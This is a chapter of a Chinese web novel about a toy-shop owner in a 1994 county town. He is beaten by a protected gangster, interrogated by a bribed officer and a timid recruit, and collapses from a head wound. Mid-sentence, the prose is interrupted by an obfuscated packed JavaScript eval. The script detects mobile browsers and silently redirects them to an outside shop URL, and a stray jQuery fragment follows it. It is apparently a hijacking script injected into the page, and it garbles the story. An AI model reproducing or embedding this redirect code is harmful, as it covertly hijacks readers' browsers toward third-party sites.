1994年冬月的北风裹着煤渣子，像撒野的顽童撞在县城派出所的铁皮门上，“哐当”一声震得门轴吱呀作响。


    彼时的县城还没通暖气，街道上的自行车比汽车多，灰蓝色中山装是成年人的主流穿着，唯有孩子们身上能看见点鲜亮颜色——


    可这份鲜活，此刻全被审讯室的压抑吞了个干净。


    四壁斑驳的石灰簌簌掉渣，墙面上“坦白从宽，抗拒从严”的红漆标语褪得发淡，边角卷着翘，像被岁月啃过的旧纸片。


    天花板中央悬着唯一盏40瓦白炽灯，钨丝“滋滋”的声响在空荡房间里格外刺耳，仿佛下一秒就要炸开。昏黄光线裹着闷热砸下来，竟真如烧红的烙铁般烫在林凡头顶，连空气都变得厚重粘稠。


    林凡陷在缺角的木椅里，椅面粗糙的木纹顺着单裤硌进大腿肉里，那裤子是前些年妻子用旧布改的，裤脚卷了两圈才勉强盖住脚踝——


    他的脚比去年又大了些，那双过冬的棉鞋挤得脚趾发僵。


    手腕上的铁**早磨红了皮肤，渗血的地方沾了审讯室地上的煤灰，黑红交织成刺目的色块，稍一挣动就扯得皮肉钻心疼。


    后脑勺的肿块比清晨又大了一圈，钝痛一阵紧过一阵，像有把生锈的锥子在颅腔里慢慢拧，恶心感顺着喉咙往上涌。


    他攥着裤缝的指节泛得发白，指腹的老茧蹭着布料——


    那是常年开玩具店打包、整理积木磨出来的厚茧，此刻却连攥紧布料的力气都快撑不住，全靠一股子气才没栽倒在满是烟头的水泥地上。


    地上的烟蒂堆在墙角，除了“大前门”，还混着几支“哈德门”的滤嘴，沾着煤灰和唾沫，散发出劣质烟草的酸腐味。


    空气里飘着劣质煤烟和“大前门”烟草的混合气味，呛得人嗓子发紧，林凡忍不住咳嗽了两声，胸口牵扯着昨天被踹的疼。


    对面两张掉漆的木桌后，两个警察的脸隐在光暗交界处——


    那个大腹便便的中年男人走了，现在是老周在审问。


    年长的周建军是所里的老资格，****磨得发毛，左脸一道浅疤从眉骨延伸到颧骨，那是他二十岁刚当**时抓小偷被划的，当年还拿过县局的“先进个人”，如今却只剩眼底的油滑。


    他手里攥着个搪瓷杯，杯身印着褪色的“为人民服务”，杯沿磕了个豁口，里面泡的廉价花茶浮着半截茶梗，茶水浑浊得像沟里的水。


    他指尖有节奏地敲着笔录本硬壳，那本子封面卷边，里面夹着张儿子的学生证——


    照片上的少年穿着蓝白校服，笑得一脸干净。


    周建军的声音拖得像老钟摆：


    “林凡，你老实说，是不是你先骂的黑皮？”


    抬眼时，眼角皱纹里积的不耐烦几乎要溢出来，


    “人家在县城混了十年，街面上谁不给他三分面子？


    卖文具的张姐去年没顺他意，进货价直接涨了三成，最后不也关店了？怎么偏偏找你麻烦？”


    年轻的赵磊刚从省警校分配来半年，警服袖口还没磨出毛边，领口的风纪扣系得严严实实，钱包里还别着警校的三等功徽章——


    那是他靠徒手制服模拟歹徒拿的，当时教官拍着他的肩说“要守好初心”。


    可此刻他刻意学着老**的腔调，“啪”地把英雄牌钢笔摔在桌上，那钢笔是毕业时班主任送的，笔帽上还刻着他的名字，这会儿弹起来撞在铁盒上，发出清脆的响声。


    “还有你说的报警回执，拿出来啊！1994年了，谁还凭嘴说事儿？


    所里规定清清楚楚，没回执就是没报警，你这是编瞎话糊弄我们！”


    他说话时喉结上下滚动，眼神却不自觉瞟向周建军，像个等着老师表扬的学生——


    上个月所里评先进，周建军私下拉着他蹲在派出所后巷，递了支“红塔山”说“多学着点人情世故，比死抠规定有用”，这话他记在笔记本第一页，至今没敢忘。


    林凡的额角渗着冷汗，顺着鬓角滑进衣领，在洗得发白的棉布褂子里晕开一小片湿痕。


    那褂子的袖口缝着块同色补丁，是5年前母亲补的，针脚细密得很。


    他盯着笔录本上“林凡涉嫌挑衅滋事”那行黑字，眼前的字迹慢慢发虚，可脑子却异常清醒得可怕；


    黑皮是县城有名的混混，靠家里在**局派出所的关系，垄断了半条街的小商品货源。


    邻市的批发市场本该是商户们的进货地，可黑皮派了两个小弟守在路口，凡是向阳街的商户，都得从他手里拿货，价格比市价高两成，谁不服就找理由闹——


    卖菜的刘婶上个月没交“保护费”，摊子被掀了，一筐鸡蛋全碎在地上，黄澄澄的蛋液流了一路，刘婶坐在路边哭，没人敢上前帮衬。


    上周黑皮带着两个小弟来他的“笑笑宝贝屋”玩具店，抽着烟把脚翘在货架上，货架上的芭比娃娃被震得晃了晃。


    他说要“合伙经营”，其实就是想把进货渠道抢过去，林凡没答应——


    这店是他攒了三年钱开的，全靠这店养着女儿笑笑。


    第二天一早，店门口就被泼了半桶红漆，暗红漆料顺着卷闸门流下来，溅在门口摆的奥特曼玩具上，像淌着血。


    他蹲在门口擦了一早上，指甲缝里全是红漆，怎么都洗不掉。


    更过分的是，黑皮还堵在向阳街小学门口，等放学的笑笑出来。


    他蹲在地上捏着笑笑的羊角辫，手里晃着根棒棒糖说


    “你爸爸不乖，我要把他抓走”，


    吓得笑笑抱着他的腿哭了一整晚，夜里还做噩梦喊“爸爸别被抓走”。


    他攥着被红漆染脏的奥特曼玩具去派出所备案，周建军坐在办公桌后嚼着口香糖，桌面摊着张泛黄的报纸，只抬眼扫了他一下，就让他填了张皱巴巴的登记表。


    “知道了，会调查。”


    周建军说着，随手把登记表塞进抽屉，转身就去了后巷——


    下午王猛去买酱油时，看见黑皮在巷口跟周建军递烟，黑皮手里拿着条“阿诗玛”，周建军推了两下就收下了，两人凑在一起说了半天，黑皮还拍了拍周建军的肩膀，笑得一脸得意。


    王猛赶紧跑回店里跟林凡说，林凡心里咯噔一下，却还抱着点希望——


    他想着警察总能帮老百姓说话。


    今天就被黑皮带着三个混混堵在东风巷里。


    东风巷窄得很，两边是砖墙，连个躲的地方都没有。


    “是黑皮先堵的我。”


    林凡的声音哑得像被砂纸磨过，每说一个字，喉咙都扯得生疼——昨天被黑皮的小弟踹在喉咙上，现在咽口水都像吞玻璃渣。


    “我店里的王猛能作证，他当时在店里整理货架，听见外面动静不对，拿着拖把跑出来拦，被他们推搡到墙上，胳膊擦破了一大块皮，现在还贴着创可贴；


    街口修鞋的李师傅也看见了，他的修鞋摊就在巷口，摆了快二十年了，县城里一半人都找他修过鞋——


    去年张大爷丢了钱包，里面有五百块养老钱，还是李师傅捡到了，在摊上等了三个小时才等到张大爷。


    巷子里的动静他都能看清，他当时手里拿着修鞋的锥子，想冲过来拦，被黑皮的小弟挡住了，还喊了句‘别**’，黑皮他们没理。”


    他顿了顿，想抬胳膊指自己的外套，那外套是前年买的，里面的棉絮都有点结块了。


    “备案回执在我外套内袋里，你们可以……”


    话没说完，手腕上的**链“哗啦”响了一声——


    链长只有半尺，刚一用力，后脑勺的剧痛突然炸开！


    像是有根引线在颅腔里点燃，疼得他眼前发黑，


    周建军和赵磊的脸瞬间变成两个、三个虚影，


    耳边的声音像隔着一层浑浊的水，“嗡嗡”地听不真切。


    胃里翻江倒海，酸水顺着喉咙往上涌，他忍不住干呕一声，


    涎水顺着嘴角往下流，滴在满是划痕的水泥地上，晕开一小片水渍。


    “少装蒜！”


    赵磊“啪”地一拍桌子，周建军杯里的花茶溅出来，在笔录本上洇出一圈黄印，像块难看的疤。


    “想靠装病蒙混过关？


    我告诉你，你今天不认错，就别想走出这个门！”


    他说这话时，声音比刚才高了八度，可指尖却在不自觉地摩挲钢笔——


    他其实看见林凡头上的血痂了，那血痂结得厚厚的，沾着点煤灰，一看就不是轻伤；


    刚才在巷口，他还听见两个路过的大妈说“是混混先动手打那个开玩具店的”，


    可周建军早上跟他说“黑皮的事不能管，


    他表哥跟所长熟，不然以后你转正都难”，他刚毕业，还没拿到正式编制，不敢得罪老**。


    周建军没说话，只是端起搪瓷杯喝了口茶，茶水有点凉，涩得他皱了皱眉。


    他眼神扫过林凡渗血的后脑勺，又快速移开，像怕被烫到。


    他心里比谁都清楚，林凡没说谎——


    黑皮这半年来在向阳街收保护费，商户们敢怒不敢言，


    除了刘婶和张姐，卖水果的老陈上个月因为进货没通过黑皮，一筐橘子全被泼了农药，只能看着橘子烂在摊子上。


    黑皮每个月十五号都会来派出所后巷给他送烟，有时候是“红塔山”，


    有时候是“阿诗玛”，逢年过节还会带瓶散装的“高粱白”——


    他在派出所干了十五年，还是个普通**，每个月工资只有三百多块，


    家里儿子要上高中，学费得五百多，妻子又有风湿，常年要吃药，这点“好处”他舍不得推。


    上次儿子问他


    “爸爸，你怎么不跟王叔叔一样当所长呀”，他只能摸了摸儿子的头，说“爸爸没本事”。


    林凡张了张嘴，想再说点什么，可喉咙里像堵了块棉花，发不出任何声音。


    视线急速变暗，像有人猛地拉上了黑布，眼前的白炽灯变成一个模糊的光斑，最后映入眼帘的，是周建军骤然变了的脸色——


    先是惊疑，接着是慌乱，


    最后藏不住的紧张爬满了额头，连手里的搪瓷杯都晃了晃，茶水又溅出来几滴。


    下一瞬，他的身体不受控制地从椅子上滑下去，“咚”的一声重重砸在水泥地上，


    后脑勺磕在桌腿上，疼得他眼前一黑，意识像被洪水卷走，彻底沉入黑暗。


    “哎！他怎么真晕了？”


    赵磊的声音瞬间发颤，他赶紧站起来，


    椅子腿在地上刮出刺耳的声响，伸手探了探林凡的鼻息，手指都在抖——


    他在警校学过急救，知道头部受伤昏迷的人最怕颅内出血，


    上次模拟急救时，教官说“这种情况必须马上送医院，晚了会出人命”。


    “周哥，他头上有血，别是出人命了吧？”


    他说话时，眼睛盯着林凡后脑勺


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757349|187589||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不断渗出来的血，那血顺着水泥地的缝隙流，


    像条红色的小蛇，他的腿都软了，刚才的嚣张劲儿全没了，手心全是汗。


    周建军也慌了，他赶紧蹲下来，膝盖撞在地上都没觉得疼，伸手去翻林凡的外套——


    他得找到那张备案回执，如果回执真的在，


    就证明林凡确实报过警，他之前说“没报警”就是撒谎，要是林凡真出事，这就是他的把柄。


    林凡的外套内袋缝得很牢，他手指在粗糙的布料里摸索，


    终于摸到一张皱巴巴的纸片，抽出来一看，


    上面“1994年12月5日14时备案”的字迹用蓝黑墨水写的，清晰可见，


    下面还有他当时随手签的“周”字——


    那字写得潦草，是他当时嚼着口香糖签的，没多想。


    纸片边缘有点破，还带着林凡的体温，潮乎乎的，显然是被贴身放了很久。


    他心里“咯噔”一下，凉了半截——


    昨天林凡来备案时，他随手签了字就把回执塞给林凡了，


    忘了跟黑皮说，现在回执在，就等于他的谎言被戳穿了。


    他赶紧摸出腰间的摩托罗拉传呼机，那是所里配的，整个派出所只有五台，


    他的传呼机号码还是儿子帮他记的。


    手指都在抖，按县医院的号码时，按错了两次才按对：


    “快！叫救护车！就说派出所审讯室有人晕倒，头上有伤，很严重！”


    传呼机的蜂鸣声在空荡的审讯室里回荡，像一道催命符，撞得他耳膜发疼，连耳朵都开始发烫。


    赵磊蹲在旁边，看着周建军慌乱的样子，突然想起上周跟警校同学打电话，


    同学说他们所里有个老**，


    因为偏袒赌场老板，帮着老板打压举报的商户，最后商户被打成重伤，躺在医院没醒。


    那**不仅被开除了公职，还被判了两年刑，家里的孩子没人管，只能寄住在亲戚家。


    “周哥，要是……要是林凡真出事，我们会不会……”


    他咽了口唾沫，声音小得像蚊子叫，心里又怕又悔——


    他想起教官说的“初心”，觉得自己现在像个笑话。


    “别乌鸦嘴！”


    周建军打断他，可声音里的慌乱藏不住，尾音都在发颤，


    “他就是晕过去了，医院来了就能救过来，没事的。”


    话虽这么说，他却忍不住想起刚才林凡说的证人——


    王猛和李师傅。


    王猛是林凡店里的伙计，家在乡下，母亲有哮喘，林凡不仅给他开比其他店高五十块的工资，还经常帮他带药；


    李师傅在县城口碑极好，上次派出所找证人核实情况，李师傅说的话句句属实，连细节都没差。


    要是这两个人来作证，加上那张备案回执，他不仅乌纱帽保不住，还得坐牢。


    他站起身，走到审讯室门口，掀开窗帘的一角往外看，只见派出所门口的大杨树下，有个穿着蓝色工装的身影在徘徊——


    是王猛，他手里还拿着个拖把，应该是从店里直接过来的；


    还有个戴着旧棉帽的老人，缩着脖子，手里拎着个修鞋的工具箱，是李师傅。


    两人时不时往审讯室这边望，脚步往前挪了挪，又停下来，显然是不敢过来。


    周建军心里更慌了，他赶紧放下窗帘，转身对赵磊说：


    “你在这看着他，别让他醒了跑了，我去跟王所长说一声，别让外面的人进来。”


    他刚走到门口，传呼机突然响了，是县医院回的消息：


    “救护车十分钟到，让家属在门口等。”


    他愣了一下——


    林凡的家属？他没通知林凡的家人，刚才只顾着慌，忘了这回事。


    林凡的妻子不在，女儿也不在，家里也没有其他人了。


    周建军的心又提了起来——


    李师傅要进来作证？


    要是李师傅进来，把黑皮**的事一五一十说出来，加上那张备案回执，他就彻底完了。


    他走到窗边，又掀开窗帘一角，看见王猛左右转圈，李师傅站在旁边，眉头皱得紧紧的，时不时往派出所里望。


    救护车的声音从远处传来，越来越近，“呜哇——呜哇——”的警笛声像把锤子，一下下砸在周建军的心上。


    他的手心全是汗，连传呼机都快攥不住了。


    他看着地上昏迷的林凡，林凡的脸苍白得像纸，后脑勺的血还在流；


    看着手里的备案回执，上面的“周”字刺眼得很。


    他突然不知道该怎么办——是继续隐瞒，跟王所长说林凡“故意装病”，把事情压下去？


    还是说出真相，承认自己偏袒黑皮，没调查就铐人？


    要是隐瞒，万一林凡醒不过来，他这辈子都得活在愧疚里，


    要是说出真相，他的工作没了，家里的儿子学费怎么办？妻子的药钱怎么办？


    就在救护车停在派出所门口的那一刻，


    审讯室里的白炽灯突然“滋啦”一声，钨丝烧断了，整个审讯室瞬间陷入黑暗。


    只有传呼机的屏幕还亮着，淡蓝色的光映着周建军慌乱的脸，他手里的备案回执在黑暗中泛着白。


    地上林凡后脑勺不断渗出来的血，在微光下显得格外刺眼，像一朵开在黑暗里的恶花。


    周建军靠在墙上，滑坐在地上，传呼机从手里滑出去，屏幕的光照着他的脸，分不清是汗还是泪。